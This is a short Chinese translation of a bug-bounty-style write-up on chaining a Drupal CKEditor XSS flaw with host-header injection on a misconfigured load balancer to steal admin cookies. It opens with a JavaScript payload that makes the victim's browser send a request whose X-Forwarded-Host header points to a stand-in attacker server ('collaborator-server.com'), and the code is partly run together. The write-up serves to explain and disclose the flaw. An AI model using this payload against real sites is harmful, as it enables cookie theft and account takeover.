function httpGet(Url){var xmlHttp = newXMLHttpRequest(); // Create a new XMLHttpRequest object xmlHttp.open( “GET”, Url, false ); // Initialize the request xmlHttp.setRequestHeader(“X-Forwarded-Host”, “https://collaborator-server.com"); // Set a custom HTTP header (X-Forwarded-Host) pointing to collaborator server xmlHttp.send( null ); // Send the requestreturn xmlHttp.responseText; }httpGet(“https://vulnerableapp.host/"); // Run payload
也许你会疑问,如果 Cookies 被安全标志保护,那么这会如何工作?经过发现,Cookies 会在同一域内发起 XMLHttpRequest 时自动附加到请求中。XSS 漏洞本身很常见——Drupal CKEditor 的 XSS。由于过滤器的存在,需要进行一些混淆,但并没有特别复杂的部分。
攻击流程
攻击过程如下:1.用户访问包含 XSS 有效载荷的页面。2.XSS 有效载荷在用户的浏览器中执行,触发对当前域名下页面的 GET 请求。3.请求中包含 X-Forwarded-Host 头,导致主机头注入。4.负载均衡器由于被注入的主机头混淆,将 Cookies 发送到攻击者的协作服务器。
结论
通过结合负载均衡器漏洞和 XSS 攻击,可以绕过 Cookies 保护机制,获得对管理员账户的未授权访问。本文强调了处理负载均衡器漏洞的重要性,以防止此类攻击的发生。以上内容由白帽子左一翻译并整理。原文:https://infosecwriteups.com/exploiting-incorrectly-configured-load-balancer-with-xss-to-steal-cookies-99d7cb6129d7
评论